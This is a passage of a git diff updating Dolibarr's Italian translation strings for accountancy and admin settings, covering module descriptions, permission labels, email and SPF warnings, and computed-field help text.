vincolate, utilizza il menù %s per effettuare l'associazione manualmente SorryThisModuleIsNotCompatibleWithTheExperimentalFeatureOfSituationInvoices=Spiacenti, questo modulo non è compatibile con la funzione sperimentale delle fatture di situazione AccountancyErrorMismatchLetterCode=Mancata corrispondenza nel codice di riconciliazione AccountancyErrorMismatchBalanceAmount=Il saldo (%s) non è uguale a 0 AccountancyErrorLetteringBookkeeping=Si sono verificati errori relativi alle transazioni: %s ErrorAccountNumberAlreadyExists=Il numero contabile %s esiste già +ErrorArchiveAddFile=Can't put "%s" file in archive ## Import ImportAccountingEntries=Accounting entries ImportAccountingEntriesFECFormat=Registrazioni contabili - formato FEC -FECFormatJournalCode=Giornale del codice (JournalCode) -FECFormatJournalLabel=Diario delle etichette (JournalLib) +FECFormatJournalCode=Codice giornale +FECFormatJournalLabel=Giornale delle etichette (JournalLib) FECFormatEntryNum=Numero pezzo (EcritureNum) FECFormatEntryDate=Data pezzo (EcritureDate) FECFormatGeneralAccountNumber=Numero di conto generale (CompteNum) FECFormatGeneralAccountLabel=Etichetta account generale (CompteLib) -FECFormatSubledgerAccountNumber=Numero di conto subledger (CompAuxNum) -FECFormatSubledgerAccountLabel=Numero di conto subledger (CompAuxLib) +FECFormatSubledgerAccountNumber=Numero di conto secondario (CompAuxNum) +FECFormatSubledgerAccountLabel=Numero di conto secondario (CompAuxLib) FECFormatPieceRef=Rif pezzo (PieceRef) FECFormatPieceDate=Creazione data pezzo (PieceDate) FECFormatLabelOperation=Operazione etichetta (EcritureLib) @@ -451,9 +475,10 @@ FECFormatValidateDate=Data pezzo convalidata (ValidDate) FECFormatMulticurrencyAmount=Importo multivaluta (Montantdevise) FECFormatMulticurrencyCode=Codice multivaluta (Idevise) -DateExport=Date export +DateExport=Data esportazione WarningReportNotReliable=Warning, this report is not based on the Ledger, so does not contains transaction modified manually in the Ledger. If your journalization is up to date, the bookkeeping view is more accurate. -ExpenseReportJournal=Expense Report Journal -InventoryJournal=Inventory Journal +ExpenseReportJournal=Giornale note spese +DocsAlreadyExportedAreExcluded=Docs already exported are excluded +ClickToHideAlreadyExportedLines=Click to hide already exported lines NAccounts=%s account diff --git a/htdocs/langs/it_IT/admin.lang b/htdocs/langs/it_IT/admin.lang index 60d5e28d754..f173fb609df 100644 --- a/htdocs/langs/it_IT/admin.lang +++ b/htdocs/langs/it_IT/admin.lang @@ -51,8 +51,6 @@ ClientSortingCharset=Client collation WarningModuleNotActive=Il modulo %s deve essere attivato WarningOnlyPermissionOfActivatedModules=Qui vengono mostrate solo le autorizzazioni relative ai moduli attivi. È possibile attivare altri moduli nelle impostazioni - pagina Moduli. DolibarrSetup=Installazione o aggiornamento di Dolibarr -InternalUser=Utente interno -ExternalUser=Utente esterno InternalUsers=Utenti interni ExternalUsers=Utenti esterni UserInterface=Interfaccia utente @@ -109,7 +107,7 @@ NextValueForReplacements=Valore successivo (sostituzioni) MustBeLowerThanPHPLimit=Nota: la tua configurazione PHP attualmente limita la dimensione massima per il caricamento dei file %s %s, indipendentemente dal valore di questo parametro NoMaxSizeByPHPLimit=Nota: nessun limite impostato nella configurazione PHP MaxSizeForUploadedFiles=Dimensione massima dei file caricati (0 per disabilitare l'upload) -UseCaptchaCode=Use graphical code (CAPTCHA) on login page and some public pages +UseCaptchaCode=Utilizzare il codice grafico (CAPTCHA) nella pagina di accesso e in alcune pagine pubbliche AntiVirusCommand=Percorso completo programma antivirus AntiVirusCommandExample=Esempio per ClamAv Daemon (richiede clamav-daemon): / usr / bin / clamdscan
      Esempio per ClamWin (molto molto lento): c: \\ Progra ~ 1 \\ ClamWin \\ bin \\ clamscan.exe AntiVirusParam= Più parametri sulla riga di comando @@ -147,6 +145,7 @@ Box=Widget Boxes=Widgets MaxNbOfLinesForBoxes=Massimo numero di righe per widget AllWidgetsWereEnabled=Tutti i widget disponibili sono abilitati +WidgetAvailable=Widget available PositionByDefault=Per impostazione predefinita Position=Posizione MenusDesc=Gestione del contenuto delle 2 barre dei menu (barra orizzontale e barra verticale). @@ -294,6 +293,7 @@ MAIN_MAIL_SMTP_SERVER=Host SMTP / SMTPS (predefinito in php.ini: %s ) MAIN_MAIL_SMTP_PORT_NotAvailableOnLinuxLike=Porta SMTP / SMTPS (non definita in PHP su sistemi Unix-like) MAIN_MAIL_SMTP_SERVER_NotAvailableOnLinuxLike=Host SMTP / SMTPS (non definito in PHP su sistemi Unix-like) MAIN_MAIL_EMAIL_FROM=Indirizzo mittente per le email automatiche (predefinito in php.ini: %s ) +EMailHelpMsgSPFDKIM=Per evitare che le email di Dolibarr vengano classificate come spam, assicurati che il server sia autorizzato a inviare e-mail da questo indirizzo tramite configurazione SPF e DKIM MAIN_MAIL_ERRORS_TO=Indirizzo a cui inviare eventuali errori (campi 'Errors-To' nelle email inviate) MAIN_MAIL_AUTOCOPY_TO= Indirizzo a cui inviare in copia Ccn tutte le mail in uscita MAIN_DISABLE_ALL_MAILS=Disabilita l'invio delle email (a scopo di test o demo) @@ -375,7 +375,7 @@ DoTestSendHTML=Prova inviando HTML ErrorCantUseRazIfNoYearInMask=Error, can't use option @ to reset counter each year if sequence {yy} or {yyyy} is not in mask. ErrorCantUseRazInStartedYearIfNoYearMonthInMask=Errore, non si può usare l'opzione @ se non c'è una sequenza {yy}{mm} o {yyyy}{mm} nello schema. UMask=Parametro umask per i nuovi file su Unix/Linux/BSD. -UMaskExplanation=Questo parametro consente di definire i permessi impostati di default per i file creati da Dolibarr sul server (per esempio durante il caricamento).
      Il valore deve essere ottale (per esempio, 0.666 indica il permesso di lettura e scrittura per tutti).
      Questo parametro non si usa sui server Windows. +UMaskExplanation=This parameter allow you to define permissions set by default on files created by Dolibarr on server (during upload for example).
      It must be the octal value (for example, 0666 means read and write for everyone.). Recommended value is 0600 or 0660
      This parameter is useless on a Windows server. SeeWikiForAllTeam=Take a look at the Wiki page for a list of contributors and their organization UseACacheDelay= Ritardo per il caching di esportazione (0 o vuoto per disabilitare la cache) DisableLinkToHelpCenter=Nascondi il link " Hai bisogno di aiuto o supporto " nella pagina di accesso @@ -439,8 +439,10 @@ Unique=Unico Boolean=booleano (una checkbox) ExtrafieldPhone = Tel. ExtrafieldPrice = Prezzo +ExtrafieldPriceWithCurrency=Prezzo con valuta ExtrafieldMail = Email ExtrafieldUrl = Indirizzo URL +ExtrafieldIP = IP ExtrafieldSelect = Lista di selezione ExtrafieldSelectList = Seleziona dalla tabella ExtrafieldSeparator=Separatore (non è un campo) @@ -450,7 +452,7 @@ ExtrafieldCheckBox=Checkboxes ExtrafieldCheckBoxFromList=Checkboxes from table ExtrafieldLink=Collegamento ad un oggetto ComputedFormula=Campo calcolato -ComputedFormulaDesc=Puoi inserire qui una formula usando altre proprietà dell'oggetto o qualsiasi codice PHP per ottenere un valore calcolato dinamico. Puoi utilizzare qualsiasi formula compatibile con PHP incluso l'operatore condizione "?" e i seguenti oggetti globali: $db, $conf, $langs, $mysoc, $user, $object .
      ATTENZIONE : Potrebbero essere disponibili solo alcune proprietà di $object. Se hai bisogno di proprietà non caricate, recupera l'oggetto nella tua formula come nel secondo esempio.
      L'uso di un campo calcolato significa che non è possibile immettere alcun valore dall'interfaccia. Inoltre, se si verifica un errore di sintassi, la formula potrebbe non restituire nulla.

      Esempio di formula:
      $object->id < 10 ? round($object-> id / 2, 2): ($object-> id + 2 * $user-> id) * (int) substr($mysoc-> zip, 1, 2 )

      Esempio per ricaricare l'oggetto
      (($reloadedobj = new Societe($db)) && ($reloadedobj->fetchNoCompute($obj->id ? $obj->id: ($obj->rowid ? $obj->rowid: $object->id)) > 0)) ? $reloadedobj->array_options['options_extrafieldkey'] * $reloadedobj->capital / 5: '-1'

      Altro esempio di formula per forzare il caricamento dell'oggetto e del suo oggetto padre:
      (($ reloaded = )) && ($ reloadedobj-> fetchNoCompute ($ object-> id)> 0) && ($ secondloadedobj = nuovo progetto ($ db)) && ($ secondloadedobj-> fetchNoCompute ($ reloadedobj-> fk_project)> 0))? $ secondloadedobj-> ref: 'Progetto padre non trovato' +ComputedFormulaDesc=You can enter here a formula using other properties of object or any PHP coding to get a dynamic computed value. You can use any PHP compatible formulas including the "?" condition operator, and following global object: $db, $conf, $langs, $mysoc, $user, $objectoffield.
      WARNING: If you need properties of an object not loaded, just fetch yourself the object into your formula like in the second example.
      Using a computed field means you can't enter yourself any value from interface. Also, if there is a syntax error, the formula may return nothing.

      Example of formula:
      $objectoffield->id < 10 ? round($objectoffield->id / 2, 2): ($objectoffield->id + 2 * $user->id) * (int) substr($mysoc->zip, 1, 2)

      Example to reload object
      (($reloadedobj = new Societe($db)) && ($reloadedobj->fetchNoCompute($objectoffield->id) > 0 ? $reloadedobj->array_options['options_extrafieldkey'] * $reloadedobj->capital / 5: '-1')

      Other example of formula to force load of object and its parent object:
      (($reloadedobj = new Task($db)) && ($reloadedobj->fetchNoCompute($objectoffield->id) > 0) && ($secondloadedobj = new Project($db)) && ($secondloadedobj->fetchNoCompute($reloadedobj->fk_project) > 0)) ? $secondloadedobj->ref: 'Parent project not found' Computedpersistent=Store computed field ComputedpersistentDesc=Computed extra fields will be stored in the database, however, the value will only be recalculated when the object of this field is changed. If the computed field depends on other objects or global data this value might be wrong!! ExtrafieldParamHelpPassword=Leaving this field blank means this value will be stored without encryption (field must be only hidden with star on screen).
      Set 'auto' to use the default encryption rule to save password into database (then value read will be the hash only, no way to retrieve original value) @@ -477,7 +479,7 @@ InstalledInto=Installato nella directory %s BarcodeInitForThirdparties=Mass barcode init for third-parties BarcodeInitForProductsOrServices=Mass barcode init or reset for products or services CurrentlyNWithoutBarCode=Currently, you have %s record on %s %s without barcode defined. -InitEmptyBarCode=Init value for the %s empty barcodes +InitEmptyBarCode=Valore iniziale per i codici a barre vuoti %s EraseAllCurrentBarCode=Erase all current barcode values ConfirmEraseAllCurrentBarCode=Vuoi davvero eliminare tutti i valori attuali dei codici a barre? AllBarcodeReset=All barcode values have been removed @@ -489,9 +491,9 @@ DisplayCompanyInfo=Mostra indirizzo dell'azienda DisplayCompanyManagers=Visualizza nomi responsabili DisplayCompanyInfoAndManagers=Mostra l'indirizzo dell'azienda ed il nome del manager EnableAndSetupModuleCron=If you want to have this recurring invoice generated automatically, module *%s* must be enabled and correctly setup. Otherwise, generation of invoices must be done manually from this template using the *Create* button. Note that even if you enabled automatic generation, you can still safely launch manual generation. Generation of duplicates for the same period is not possible. -ModuleCompanyCodeCustomerAquarium=%s followed by customer code for a customer accounting code -ModuleCompanyCodeSupplierAquarium=%s followed by vendor code for a vendor accounting code -ModuleCompanyCodePanicum=Return an empty accounting code. +ModuleCompanyCodeCustomerAquarium=%s seguito dal codice cliente per il codice di contabilità del cliente +ModuleCompanyCodeSupplierAquarium=%s seguito dal codice fornitore per il codice di contabilità del fornitore +ModuleCompanyCodePanicum=Restituisce un codice contabile vuoto ModuleCompanyCodeDigitaria=Accounting code depends on third-party code. The code is composed of the character "C" in the first position followed by the first 5 characters of the third-party code. ModuleCompanyCodeCustomerDigitaria=%s seguito dal nome del cliente troncato dal numero di caratteri: %s per il codice contabile del cliente. ModuleCompanyCodeSupplierDigitaria=%s seguito dal nome del fornitore troncato dal numero di caratteri: %s per il codice contabile del fornitore. @@ -501,10 +503,11 @@ WarningPHPMail=ATTENZIONE: la configurazione per inviare e-mail dall'applicazion WarningPHPMailA=- L'utilizzo del server del provider di servizi di posta elettronica aumenta l'affidabilità della tua e-mail, quindi aumenta la consegna senza essere contrassegnato come SPAM WarningPHPMailB=- Alcuni provider di servizi di posta elettronica (come Yahoo) non consentono di inviare un'e-mail da un server diverso dal proprio server. La tua configurazione attuale utilizza il server dell'applicazione per inviare e-mail e non il server del tuo provider di posta elettronica, quindi alcuni destinatari (quello compatibile con il protocollo restrittivo DMARC), chiederanno al tuo provider di posta elettronica se possono accettare la tua posta e alcuni provider di posta elettronica (come Yahoo) potrebbe rispondere "no" perché il server non è il loro, quindi alcune delle tue email inviate potrebbero non essere accettate per la consegna (attenzione anche alla quota di invio del tuo provider di posta elettronica). WarningPHPMailC=- Anche l'utilizzo del server SMTP del tuo provider di servizi di posta elettronica per inviare e-mail è interessante, quindi tutte le e-mail inviate dall'applicazione verranno salvate anche nella directory "Inviati" della tua casella di posta. -WarningPHPMailD=Inoltre, si consiglia quindi di modificare il metodo di invio delle e-mail sul valore "SMTP". Se vuoi davvero mantenere il metodo "PHP" predefinito per inviare e-mail, ignora questo avviso o rimuovilo impostando la costante MAIN_HIDE_WARNING_TO_ENCOURAGE_SMTP_SETUP su 1 in Home - Configurazione - Altro. +WarningPHPMailD=Si consiglia pertanto di modificare il metodo di invio delle email al valore "SMTP". +WarningPHPMailDbis=Se vuoi davvero mantenere il metodo "PHP" predefinito per inviare e-mail, ignora questo avviso o rimuovilo con %s cliccando qui %s. WarningPHPMail2=If your email SMTP provider need to restrict email client to some IP addresses (very rare), this is the IP address of the mail user agent (MUA) for your ERP CRM application: %s. WarningPHPMailSPF=Se il nome a dominio dell'indirizzo email del tuo mittente è protetto da un record SPF (chiedi al tuo registar del nome a dominio), devi aggiungere i seguenti IP nel record SPF del DNS del tuo dominio: %s . -ActualMailSPFRecordFound=Actual SPF record found (for email %s) : %s +ActualMailSPFRecordFound=Trovato record SPF effettivo (per e-mail %s): %s ClickToShowDescription=Clicca per mostrare la descrizione DependsOn=This module needs the module(s) RequiredBy=Questo modulo è richiesto dal modulo @@ -514,7 +517,7 @@ PageUrlForDefaultValuesCreate=
      Example:
      For the form to create a new third PageUrlForDefaultValuesList=
      Example:
      For the page that lists third parties, it is %s.
      For URL of external modules installed into custom directory, do not include the "custom/" so use a path like mymodule/mypagelist.php and not custom/mymodule/mypagelist.php.
      If you want default value only if url has some parameter, you can use %s AlsoDefaultValuesAreEffectiveForActionCreate=Also note that overwritting default values for form creation works only for pages that were correctly designed (so with parameter action=create or presend...) EnableDefaultValues=Abilita l'utilizzo di valori predefiniti personalizzati -EnableOverwriteTranslation=Abilita queste traduzioni personalizzate +EnableOverwriteTranslation=Consenti la personalizzazione delle traduzioni GoIntoTranslationMenuToChangeThis=A translation has been found for the key with this code. To change this value, you must edit it from Home-Setup-translation. WarningSettingSortOrder=Warning, setting a default sort order may result in a technical error when going on the list page if field is an unknown field. If you experience such an error, come back to this page to remove the default sort order and restore default behavior. Field=Campo @@ -643,11 +646,13 @@ Module2300Name=Processi pianificati Module2300Desc=Gestione delle operazioni pianificate Module2400Name=Eventi/Agenda Module2400Desc=Gestione eventi/compiti e ordine del giorno. Registra manualmente eventi nell'agenda o consenti all'applicazione di registrare eventi automaticamente a scopo di monitoraggio. Questo è il modulo principale per una buona gestione delle relazioni con clienti e fornitori. +Module2430Name=Calendario Prenotazioni +Module2430Desc=Fornisce un calendario online per la prenotazione di riunioni in base a fasce predefinite o disponibilità. Module2500Name=DMS / ECM Module2500Desc=Sistema di gestione documentale / Gestione elettronica dei contenuti. Organizzazione automatica dei documenti generati o archiviati. Condivisione con chi ne ha bisogno. -Module2600Name=API/Web services (SOAP server) +Module2600Name=API / Web services (server SOAP) Module2600Desc=Attiva il server SOAP che fornisce i servizi di API -Module2610Name=API/Web services (REST server) +Module2610Name=API / Web services (server REST) Module2610Desc=Attiva il server REST che fornisce i servizi di API Module2660Name=Chiamata WebServices (SOAP client) Module2660Desc=Abilitare il client dei Web service Dolibarr (può essere utilizzato per inviare dati / richieste a server esterni. Attualmente sono supportati solo gli ordini di acquisto). @@ -658,6 +663,8 @@ Module2900Name=GeoIPMaxmind Module2900Desc=Localizzazione degli accessi tramite GeoIP Maxmind Module3200Name=Archivi inalterabili Module3200Desc=Abilita un registro inalterabile degli eventi aziendali. Gli eventi sono archiviati in tempo reale. Il registro è una tabella di sola lettura degli eventi concatenati che possono essere esportati. Questo modulo potrebbe essere obbligatorio per alcuni paesi. +Module3300Name=Costruttore di moduli +Module3300Desc=A RAD (Rapid Application Development - low-code and no-code) tool to help developers or advanced users to build their own module/application. Module3400Name=Social Networks Module3400Desc=Abilita i campi Social Network in terze parti e indirizzi (skype, twitter, facebook, ...). Module4000Name=Risorse umane @@ -685,7 +692,7 @@ Module50200Desc=Modulo per offrire una pagina di pagamento che accetti pagamenti Module50300Name=Stripe Module50300Desc=Offri ai clienti una pagina di pagamento online Stripe (carte di credito / debito). Questo modulo può essere usato per consentire ai tuoi clienti di effettuare pagamenti ad-hoc o pagamenti relativi a uno specifico oggetto Dolibarr (fattura, ordine ecc ...) Module50400Name=Contabilità (partita doppia) -Module50400Desc=Gestione contabile (doppie partite, supporto contabilità generale e sussidiaria). Esporta il libro mastro in molti altri formati di software di contabilità. +Module50400Desc=Gestione contabile avanzata (partita doppia, piano dei conti e giornali). Esportazione del libro mastro in diversi altri formati per software contabili. Module54000Name=PrintIPP Module54000Desc=Direct print (without opening the documents) using Cups IPP interface (Printer must be visible from server, and CUPS must be installed on server). Module55000Name=Sondaggio, Indagine o Votazione @@ -698,7 +705,10 @@ Module62000Name=Import-Export Module62000Desc=Aggiunge funzioni per la gestione Incoterm Module63000Name=Risorse Module63000Desc=Gestione risorse (stampanti, automobili, locali, ...) e loro utilizzo all'interno degli eventi -Permission11=Vedere le fatture attive +Module66000Name=Enable OAuth2 authentication +Module66000Desc=Provide a tool to generate and manage OAuth2 tokens. The token can then be used by some other modules. +Module94160Name=Receptions +Permission11=Read customer invoices (and payments) Permission12=Creare fatture attive Permission13=Invalidare le fatture dei clienti Permission14=Convalidare le fatture attive @@ -714,7 +724,7 @@ Permission27=Eliminare proposte commerciali Permission28=Esportare proposte commerciali Permission31=Vedere prodotti Permission32=Creare/modificare prodotti -Permission33=Read prices products +Permission33=Leggi prezzi prodotti Permission34=Eliminare prodotti Permission36=Vedere/gestire prodotti nascosti Permission38=Esportare prodotti @@ -740,7 +750,7 @@ Permission79=Creare/modificare gli abbonamenti Permission81=Vedere ordini clienti Permission82=Creare/modificare ordini clienti Permission84=Convalidare degli ordini clienti -Permission85=Generate the documents sales orders +Permission85=Genera i documenti ordini cliente Permission86=Inviare ordini clienti Permission87=Chiudere gli ordini clienti Permission88=Annullare ordini clienti @@ -790,14 +800,14 @@ Permission173=Elimina nota spese Permission174=Vedere tutti i viaggi e le spese Permission178=Esporta note spese Permission180=Vedere fornitori -Permission181=Read purchase orders -Permission182=Create/modify purchase orders -Permission183=Validate purchase orders -Permission184=Approve purchase orders -Permission185=Order or cancel purchase orders -Permission186=Receive purchase orders -Permission187=Close purchase orders -Permission188=Cancel purchase orders +Permission181=Vedere ordini fornitori +Permission182=Creare/modificare ordini fornitori +Permission183=Convalidare ordini fornitori +Permission184=Approvare ordini fornitori +Permission185=Ordinare o eliminare ordini fornitori +Permission186=Ricevere ordini fornitori +Permission187=Chiudere ordini fornitori +Permission188=Eliminare ordini fornitori Permission192=Creare linee Permission193=Eliminare linee Permission194=Read the bandwidth lines @@ -842,9 +852,9 @@ Permission286=Esportare contatti Permission291=Vedere tariffe Permission292=Impostare permessi per le tariffe Permission293=Modify customer's tariffs -Permission300=Read barcodes -Permission301=Create/modify barcodes -Permission302=Delete barcodes +Permission301=Genera fogli PDF di codici a barre +Permission304=Create/modify barcodes +Permission305=Delete barcodes Permission311=Vedere servizi Permission312=Assegnare un servizio a un contratto Permission331=Vedere segnalibri @@ -876,7 +886,7 @@ Permission525=Access loan calculator Permission527=Esporta prestiti Permission531=Vedere servizi Permission532=Creare/modificare servizi -Permission533=Read prices services +Permission533=Leggi i prezzi dei servizi Permission534=Eliminare servizi Permission536=Vedere/gestire servizi nascosti Permission538=Esportare servizi @@ -928,25 +938,25 @@ Permission1124=Send supplier proposals Permission1125=Delete supplier proposals Permission1126=Close supplier price requests Permission1181=Vedere fornitori -Permission1182=Read purchase orders -Permission1183=Create/modify purchase orders -Permission1184=Validate purchase orders -Permission1185=Approve purchase orders -Permission1186=Order purchase orders -Permission1187=Acknowledge receipt of purchase orders -Permission1188=Delete purchase orders +Permission1182=Vedere ordini fornitori +Permission1183=Creare/modificare ordini fornitori +Permission1184=Convalidare ordini fornitori +Permission1185=Approvare ordini fornitori +Permission1186=Ordina ordini fornitori +Permission1187=Confermare la ricezione di ordini fornitori +Permission1188=Eliminare ordini fornitori Permission1189=Selezionare/deselezionare la ricezione di un ordine di acquisto -Permission1190=Approve (second approval) purchase orders +Permission1190=Approvare (seconda approvazione) ordini fornitori Permission1191=Esporta gli ordini dei fornitori e i loro attributi Permission1201=Ottieni il risultato di un esportazione Permission1202=Creare/Modificare esportazioni -Permission1231=Visualizzare le fatture fornitori +Permission1231=Read vendor invoices (and payments) Permission1232=Creare / modificare fatture fornitore Permission1233=Convalidare fatture fornitore Permission1234=Eliminare fatture fornitore Permission1235=Inviare fatture fornitore tramite e-mail Permission1236=Export vendor invoices, attributes and payments -Permission1237=Export purchase orders and their details +Permission1237=Esportare ordini fornitori e i relativi dettagli Permission1251=Eseguire importazioni di massa di dati esterni nel database (data load) Permission1321=Esportare fatture attive, attributi e pagamenti Permission1322=Riaprire le fatture pagate @@ -971,13 +981,14 @@ Permission3301=Genera nuovi moduli Permission4001=Leggi abilità/lavoro/posizione Permission4002=Crea/modifica abilità/lavoro/posizione Permission4003=Elimina abilità/lavoro/posizione -Permission4020=Leggi valutazioni -Permission4021=Crea/modifica la tua valutazione -Permission4022=Convalida la valutazione -Permission4023=Elimina valutazione -Permission4030=Vedi menu di confronto +Permission4021=Leggere le valutazioni (tue e dei tuoi subordinati) +Permission4022=Crea/modifica valutazioni +Permission4023=Convalida la valutazione +Permission4025=Elimina valutazione +Permission4028=Guarda il menu di confronto Permission4031=Leggi le informazioni personali Permission4032=Scrivi informazioni personali +Permission4033=Leggi tutte le valutazioni (anche quelle di utenti non subordinati) Permission10001=Read website content Permission10002=Create/modify website content (html and javascript content) Permission10003=Create/modify website content (dynamic php code). Dangerous, must be reserved to restricted developers. @@ -1003,14 +1014,14 @@ Permission50330=Leggi gli oggetti di Zapier Permission50331=Crea/Aggiorna oggetti di Zapier Permission50332=Elimina gli oggetti di Zapier Permission50401=Bind products and invoices with accounting accounts -Permission50411=Read operations in ledger -Permission50412=Write/Edit operations in ledger -Permission50414=Delete operations in ledger -Permission50415=Delete all operations by year and journal in ledger -Permission50418=Export operations of the ledger +Permission50411=Vedere le operazioni presenti nel libro mastro +Permission50412=Creare/Modificare le operazioni presenti nel libro mastro +Permission50414=Eliminare le operazioni presenti nel libro mastro +Permission50415=Eliminare tutte le operazioni per anno nel libro mastro +Permission50418=Esportare le operazioni presenti nel libro mastro Permission50420=Report e report sulle esportazioni (fatturato, saldo, giornali, libro mastro) Permission50430=Define and close a fiscal period -Permission50440=Manage chart of accounts, setup of accountancy +Permission50440=Gestione del piano dei conti, configurazione contabilità Permission51001=Read assets Permission51002=Create/Update assets Permission51003=Delete assets @@ -1062,9 +1073,9 @@ DictionaryStaff=Numero di dipendenti DictionaryAvailability=Tempi di consegna DictionaryOrderMethods=Metodi di ordine DictionarySource=Origine delle proposte/ordini -DictionaryAccountancyCategory=Personalized groups for reports +DictionaryAccountancyCategory=Gruppi personalizzati per reportistica avanzata DictionaryAccountancysystem=Modelli per piano dei conti -DictionaryAccountancyJournal=Libri contabili +DictionaryAccountancyJournal=Giornali (causali) DictionaryEMailTemplates=Modelli e-mail DictionaryUnits=Unità DictionaryMeasuringUnits=Unità di misura @@ -1081,6 +1092,10 @@ DictionaryAssetDisposalType=Tipologia di dismissione dei beni TypeOfUnit=Tipo di unità SetupSaved=Impostazioni salvate SetupNotSaved=Impostazioni non salvate +OAuthServiceConfirmDeleteTitle=Cancella valore OAuth +OAuthServiceConfirmDeleteMessage=Sei sicuro di voler eliminare questa voce OAuth? Anche tutti i token esistenti verranno eliminati. +ErrorInEntryDeletion=Errore nella cancellazione della voce +EntryDeleted=Voce Cancellata BackToModuleList=Torna all'elenco dei moduli BackToDictionaryList=Torna all'elenco dei dizionari TypeOfRevenueStamp=Type of tax stamp @@ -1132,7 +1147,7 @@ ValueOfConstantKey=Valore di una costante ConstantIsOn=L'opzione %s è attiva NbOfDays=Numero di giorni AtEndOfMonth=Alla fine del mese -CurrentNext=A given day in month +CurrentNext=Un dato giorno nel mese Offset=Scostamento AlwaysActive=Sempre attivo Upgrade=Aggiornamento @@ -1203,7 +1218,7 @@ Delays_MAIN_DELAY_ACTIONS_TODO=Planned events (agenda events) not completed Delays_MAIN_DELAY_PROJECT_TO_CLOSE=Progetto non chiuso in tempo Delays_MAIN_DELAY_TASKS_TODO=Planned task (project tasks) not completed Delays_MAIN_DELAY_ORDERS_TO_PROCESS=Order not processed -Delays_MAIN_DELAY_SUPPLIER_ORDERS_TO_PROCESS=Purchase order not processed +Delays_MAIN_DELAY_SUPPLIER_ORDERS_TO_PROCESS=Ordine fornitore non processato Delays_MAIN_DELAY_PROPALS_TO_CLOSE=Proposta non chiusa Delays_MAIN_DELAY_PROPALS_TO_BILL=Proposta non fatturata Delays_MAIN_DELAY_NOT_ACTIVATED_SERVICES=Servizio da attivare @@ -1222,7 +1237,7 @@ SetupDescription4=  %s -> %s

      Questo software è una SetupDescription5=Altre voci di menu consentono la gestione di parametri opzionali. SetupDescriptionLink= %s - %s SetupDescription3b=Parametri di base utilizzati per personalizzare il comportamento predefinito dell'applicazione (ad es. per le funzionalità relative al paese). -SetupDescription4b=Questo software è una suite di molti moduli/applicazioni. I moduli relativi alle tue esigenze devono essere abilitati e configurati. Le voci del menu appariranno con l'attivazione di questi moduli. +SetupDescription4b=This software is a suite of many modules/applications. The modules related to your needs must be activated. Menu entries will appears with the activation of these modules. AuditedSecurityEvents=Eventi di sicurezza controllati NoSecurityEventsAreAduited=Nessun evento di sicurezza viene controllato. Puoi abilitarli dal menu %s Audit=Eventi di sicurezza @@ -1238,12 +1253,13 @@ BrowserName=Browser BrowserOS=Sistema operativo ListOfSecurityEvents=Elenco degli eventi di sicurezza Dolibarr SecurityEventsPurged=Eventi di sicurezza eliminati -TrackableSecurityEvents=Trackable security events +TrackableSecurityEvents=Eventi di sicurezza tracciabili LogEventDesc=Enable logging for specific security events. Administrators the log via menu %s - %s. Warning, this feature can generate a large amount of data in the database. AreaForAdminOnly=I parametri di setup possono essere definiti solo da utenti di tipo amministratore. SystemInfoDesc=Le informazioni di sistema sono dati tecnici visibili in sola lettura e solo dagli amministratori. SystemAreaForAdminOnly=Questa area è disponibile solo per gli utenti amministratori. Le autorizzazioni utente Dolibarr non possono modificare questa limitazione. CompanyFundationDesc=Modifica le informazioni dell'azienda / fondazione. Fai clic sul pulsante "%s" nella parte inferiore della pagina. +MoreNetworksAvailableWithModule=Ulteriori social network potrebbero essere disponibili abilitando il modulo "Social network". AccountantDesc=Se hai un contabile / contabile esterno, puoi modificare qui le sue informazioni. AccountantFileNumber=Accountant code DisplayDesc=I parametri che influenzano l'aspetto e la presentazione dell'applicazione possono essere modificati qui. @@ -1261,6 +1277,7 @@ TriggerActiveAsModuleActive=I trigger in questo file sono attivi se il modulo - Categoria di operazioni: Consegna di merci
      - Categoria di operazioni: Prestazione di servizi
      - Categoria di operazioni: Miste - Consegna di beni e prestazione di servizi +InvoiceOptionCategoryOfOperationsYes1=Sì, sotto il blocco indirizzo +InvoiceOptionCategoryOfOperationsYes2=Sì, nell'angolo in basso a sinistra ##### Proposals ##### PropalSetup=Impostazioni proposte commerciali ProposalsNumberingModules=Modelli di numerazione della proposta commerciale @@ -1451,7 +1474,7 @@ WatermarkOnDraftSupplierProposal=Watermark on draft price requests suppliers (no BANK_ASK_PAYMENT_BANK_DURING_SUPPLIER_PROPOSAL=Ask for bank account destination of price request WAREHOUSE_ASK_WAREHOUSE_DURING_ORDER=Ask for Warehouse Source for order ##### Suppliers Orders ##### -BANK_ASK_PAYMENT_BANK_DURING_SUPPLIER_ORDER=Ask for bank account destination of purchase order +BANK_ASK_PAYMENT_BANK_DURING_SUPPLIER_ORDER=Richiedi conto bancario di destinazione sugli ordini fornitori ##### Orders ##### SuggestedPaymentModesIfNotDefinedInOrder=Modalità di pagamento suggerita sull'ordine cliente per impostazione predefinita se non definita nell'ordine OrdersSetup=Impostazione gestione Ordini Cliente @@ -1476,11 +1499,12 @@ WatermarkOnDraftContractCards=Bozze dei contratti filigranate (nessuna filigrana ##### Members ##### MembersSetup=Impostazioni modulo membri MemberMainOptions=Opzioni principali +MemberCodeChecker=Opzioni per la generazione automatica dei codici membro AdherentLoginRequired= Gestire un account di accesso per ogni membro AdherentMailRequired=Email required to create a new member MemberSendInformationByMailByDefault=Checkbox per inviare una mail di conferma per i membri (è attiva per impostazione predefinita) MemberCreateAnExternalUserForSubscriptionValidated=Crea un login utente esterno per ogni nuovo abbonamento membro convalidato -VisitorCanChooseItsPaymentMode=Il visitatore può scegliere tra le modalità di pagamento disponibili +VisitorCanChooseItsPaymentMode=Il visitatore può scegliere tra qualsiasi modalità di pagamento disponibile MEMBER_REMINDER_EMAIL=Enable automatic reminder by email of expired subscriptions. Note: Module %s must be enabled and correctly setup to send reminders. MembersDocModules=Modelli di documento per i documenti generati dal record del membro ##### LDAP setup ##### @@ -1742,8 +1766,8 @@ ActivateFCKeditor=Attiva editor avanzato per: FCKeditorForNotePublic=WYSIWIG creazione/edizione del campo "note pubbliche" di elementi FCKeditorForNotePrivate=WYSIWIG creazione/edizione del campo "note private" degli elementi FCKeditorForCompany=WYSIWIG creazione/modifica del campo descrizione degli elementi (esclusi prodotti/servizi) -FCKeditorForProduct=WYSIWIG creazione/edizione del campo descrizione dei prodotti/servizi -FCKeditorForProductDetails=WYSIWIG creazione/modifica di righe di dettaglio prodotti per tutte le entità (proposte, ordini, fatture, ecc...). Avvertenza: l'utilizzo di questa opzione in questo caso è fortemente sconsigliato in quanto può creare problemi con i caratteri speciali e la formattazione della pagina durante la creazione di file PDF. 